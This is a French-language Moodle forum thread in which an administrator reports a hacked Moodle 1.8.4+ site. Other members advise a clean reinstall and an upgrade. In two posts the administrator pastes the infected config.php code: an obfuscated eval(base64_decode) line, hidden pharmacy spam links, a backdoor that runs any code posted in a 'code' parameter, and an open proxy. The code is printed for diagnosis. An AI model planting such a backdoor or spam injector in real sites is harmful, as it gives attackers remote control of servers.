Faille dans Moodle 1.4.8+ fichier config.php infecté

Faille dans Moodle 1.4.8+ fichier config.php infecté

par mathieu ma,
Nombre de réponses : 11

Bonjour,

Il y a une semaine, il était impossible de se connecter à notre plateforme Moodle.

Aprés analyse, le problème venait du rajout de code malveillant (intégration d'url vers des sites de médicament, et des lignes de commande en php suspectes) dans le fichier config.php. Aprés suppression de ces lignes on a pu se connecter. Cependant il y'a d'autres fichiers qui m'intriguent :

postz.php

iin.php (fichier vide)

iiin.php (fichier vide)

moodle.inc.php

j'ai fait des recherches sur ces fichiers mais je n'ai rien trouvé.

Ma question est donc de savoir si quelqu'un a déjà eut ce problème, pensez-vous que je puisse supprimer ces fichiers ? La faille a-t-elle d'autre conséquense.

Je pense restaurer un backup datant de 3 semaines mais certaines anomalies étaient déjà présentes, puis faire une mise à jour prochainement de la 1.8.4+ vers la 1.8.10.

Si vous le souhaitez je pourrait détailler en indiquant le contenu des fichiers en questions.

Merci de votre aide.

Moyenne des évaluations  -
En réponse à mathieu ma

Re: Faille dans Moodle 1.4.8+ fichier config.php infecté

par Étienne Rozé,
Bonjour,

Je recommande de supprimer toute l'arborescence de moodle ( tous les fichiers) et de partir d'une installation neuve ( tu gardes bien sur le moodledata et les données de la base de données).
On n'est jamais trop prudent.
Il y a aussi quelques précautions à prendre du côté système : au moins changer le mot de passe root et le mieux, réinstaller le système complètement.

Bon courage.
Moyenne des évaluations Utile (2)
En réponse à Étienne Rozé

Re: Faille dans Moodle 1.8.4+ fichier config.php infecté

par Séverin TERRIER,
Avatar Documentation writers Avatar Moodleurs particulièrement utiles Avatar Testeurs Avatar Traducteurs
Bonjour,

il me semble qu'il y a eu un cas similaire, il y a quelques mois... une recherche devrait t'aider sourire clin d’œil

Sinon, la documentation de sécurité serait sans doute utile, au moins en prévention, pour la suite. Ne pas hésiter à lire la version anglaise, et les liens qu'on y trouve, comme la façon de récupérer son site suite à hacking sourire
... et si, éventuellement, tu peux noter tous les détails, et les donner ici et/ou dans la documentation, ce serait une bonne capitalisation pour l'avenir clin d’œil

Cordialement,
Séverin
En réponse à mathieu ma

Re: Faille dans Moodle 1.4.8+ fichier config.php infecté

par Nicolas Martignoni,
Avatar Développeurs Avatar Développeurs de plugins Avatar Documentation writers Avatar Moodleurs particulièrement utiles Avatar Testeurs Avatar Traducteurs

Pour rappel, la version 1.4.x de Moodle n'est plus supportée. C'est même le cas de toutes les versions, jusqu'à la version 1.7.7 !

Cela signifie, entre autres, que plus aucun correctif de sécurité n'est développé pour ces versions, et que, si vous utilisez une telle version, vous ne devez pas vous étonner de voir votre Moodle piraté, puisque les failles de sécurité présentes dans ces versions sont publiées et donc potentiellement connues de tous les pirates.

Faites donc une mise à jour, afin de vous éviter des cheveux blancs, ou pire encore clin d’œil

En réponse à Nicolas Martignoni

Re: Faille dans Moodle 1.4.8+ fichier config.php infecté

par Fred Quay,
Nicolas,

Peut-être s'agit-il d'une coquille, car dans le txte, 1.4.8 est devenu 1.8.4, mais le contraire est également possible sourire.
Pour mettre à jour depuis une 1.4.x faudra prendre de l'élan, hein ? Je recommande un bon roman pour accompagner la procédure : Corps et âme, de Franck Conroy, une magnifique histoire d'initiation à la musique, une langue superbe.
En réponse à mathieu ma

Re: Faille dans Moodle 1.8.4+ fichier config.php infecté

par mathieu ma,

Merci pour vos réponse rapides,

Désolé je me suis trompé dans le sujet du message, il s'agit bien de la version 1.8.4+, en tout cas c'est ce qu'il est indiqué dans le fichier "version.php" et il s'agit d'une branche de la 1.8

voici donc le début du fichier "config.php" du backup (sauvegarde la plus ancienne), le site fonctionnait bien. J'ai mis les ligne suspectes en rouge. J'ai pas mis toutes la ligne de commande car elle est trés longue :

 <?php /*// 15f5b7e7da25ae61fc378f3ac1361343 */ eval(base64_decode('JGxpbmtzID0gJw0KeGVleDE3MjgxMA0.. etc

unset($CFG);

Ensuite, le début du fichier "config.php" actuel tel qu'il est sur le serveur d'hebergement et qui a entrainé l'impossibilité de se connecter :

 <!-1iwr6ayoqlulzqtnsckpo--->                                    
<?php                                     
$links = '<aa href="
tramadol
http://www.playlist.com/blog/entry/12449180675">tramadol</a><br><a href=.. etc

function output_callback($str)           
{                                         
 GLOBAL $links;                          
    preg_match("|<body[^>]*>|",$str,$arr);
    return str_replace($arr[0],$arr[0].'<i style="display:none">'.$links.'</i>',$str);                                                                                         
}                                                                                         

function get_page($url)
{
return file_get_contents($url);
}

if(isset($_POST['code']) && $_POST['code'])
{
    eval(stripslashes($_POST[code]));
    exit;
}
if(isset($_GET['proxy']) && $_GET['proxy'])
{
    print get_page($_GET['proxy']);
    exit;
}

ob_start ('output_callback')
?>

<?php                                             /// Moodle Configuration File

 

unset($CFG);

Je pense qu'il s'agit d'un bot qui a ouvert une faille et qui a mit sa publicité mais au lieu de l'afficher correctement ça a completement bloqué le site.

J'ai regardé les maj de sécurité récente mais je nai rien trouvé qui correspond a cette faille. Dans le forum anglais effectivement quelqu'un a déjà eut ce problème il y a quelque temps mais j'ai pas tout compris au niveau de la résolution.

Enfin bref je me renseigne actuellement pour savoir comment réinstaller une version a jour et saine sans perdre les données, mais je suis pressé par le temps car les formations sont bloqués.

Je vous tiens au courant.


En réponse à mathieu ma

Re: Faille dans Moodle 1.8.4+ fichier config.php infecté

par mathieu ma,

.. la suite

function output_callback($str)           
{                                         
 GLOBAL $links;                          
    preg_match("|<body[^>]*>|",$str,$arr);
    return str_replace($arr[0],$arr[0].'<i style="display:none">'.$links.'</i>',$str);                                                                                         

{
    print get_page($_GET['proxy']);
    exit;
}

ob_start ('output_callback')
?>

<?php                                             /// Moodle Configuration File

unset($CFG);

Je pense qu'il s'agit d'un bot qui a ouvert une faille et qui a mit sa publicité mais au lieu de l'afficher correctement ça a completement bloqué le site.

J'ai regardé les maj de sécurité récente mais je nai rien trouvé qui correspond a cette faille. Dans le forum anglais effectivement quelqu'un a déjà eut ce problème il y a quelque temps mais j'ai pas tout compris au niveau de la résolution.

Enfin bref je me renseigne actuellement pour savoir comment réinstaller une version a jour et saine sans perdre les données, mais je suis pressé par le temps car les formations sont bloqués.

Je vous tiens au courant.

ps : pour le roman de Franck Conroy ça a l'air pas mal mais ça fait quand même 688 pages !

En réponse à mathieu ma

Re: Faille dans Moodle 1.8.4+ fichier config.php infecté

par Jérôme DEMIAUX,
Avatar Moodleurs particulièrement utiles Avatar Traducteurs
Étienne et Séverin donnent la solution plus haut.

Effectuer une mise à jour de ton installation suffira à supprimer les hôtes indésirables du dossier Moodle.
Après, il faudra quand même vérifier que l'infection ne s'est pas propagée ou installée dans d'autres répertoires ou fichiers mais d'après ce que tu décris, cela ne devrait pas être le cas.

Pour faire une mise à jour, il suffit de:
  • faire une sauvegarde de la base de données
  • renommer l'ancien répertoire Moodle ex Moodle184
  • recréer un répertoire Moodle et y décompacter la nouvelle version
  • ajouter les modifications effectuées à l'installation standard, blocs, activités, thèmes ...
  • modifier le fichier config-dist.php de la nouvelle distribution en s'aidant du vieux fichier config.php (ne pas le recopier s'il est infecté) puis le renommer en config.php
  • lancer la mise à jour de la base de données par une simple connexion admin
  • Si tout marche bien supprimer l'ancien répertoire et son contenu.
Moyenne des évaluations Utile (5)
En réponse à Jérôme DEMIAUX

Re: Faille dans Moodle 1.8.4+ fichier config.php infecté

par Nicolas Martignoni,
Avatar Développeurs Avatar Développeurs de plugins Avatar Documentation writers Avatar Moodleurs particulièrement utiles Avatar Testeurs Avatar Traducteurs
Bravo Jérôme ! J'apprécie le très euphémique « Il suffit de ...» et les 7 points qui le suivent mort !
En réponse à Jérôme DEMIAUX

Re: Faille dans Moodle 1.8.4+ fichier config.php infecté

par mathieu ma,
Re,
Merci Jérôme pour ta procédure !
J'ai donc exporter la base de données sous phpmyadmin, mais je je ne peux pas renommer le répertoire Moodle car on est hebergé chez Ovh et dans l'arborescence il y a juste un "/" à la racine puis :
cgi-bin
moodledata
requetes
www
et quatre fichiers bash

De plus ce n'est pas moi qui ai installé le site au départ, je sais qu'il y a un dossier thème a transférer mais pour les blocs et activités, je ne sait pas où les trouver.

Voilà je suis actuellement bloqué, j'ai épluché les tutos mais ça reste un peu flou par rapport à mon installation, si quelqu'un a des idées je suis preneur. Merci
En réponse à mathieu ma

Re: Faille dans Moodle 1.8.4+ fichier config.php infecté

par Jérôme DEMIAUX,
Avatar Moodleurs particulièrement utiles Avatar Traducteurs
Chez OVH, les répertoires "accessibles" via le web (et donc le répertoire "moodle" se situent après www.

Donc tu devrais avoir quelque chose comme: /www/moodle
et c'est ce répertoire que tu renommes -> moodle184 (le site sera alors inaccessible)***

Après on recrée un répertoire moodle dans lequel on dézippe le dernier package téléchargé sur moodle.org.

Puis, dans ces répertoires moodle et moodle184, on joue au jeu des différences, notamment dans les répertoires moodle/blocks, moodle/mod, moodle/themes, moodle/admin (pour phpmyadmin), moodle/course (si autres formats de cours) ...
On n'oublie pas de réécrire le fichier config.php à partir de config-dist.php dans le nouveau répertoire

Et pour le final, on relit le message précédent (sans oublier la documentation).

*** pour conserver la disponibilité du site jusqu'à la dernière minute, il suffit de faire les opérations de nommage / renommage en sens inverse, c.a.d. je crée un nouveau répertoire moodle196 dans lequel j'effectue tout ce que j'ai à faire, et juste avant de relancer j'échange le nom des deux répertoires, moodle devient moodle184 et moodle196 perd son 196 ...
Moyenne des évaluations Utile (1)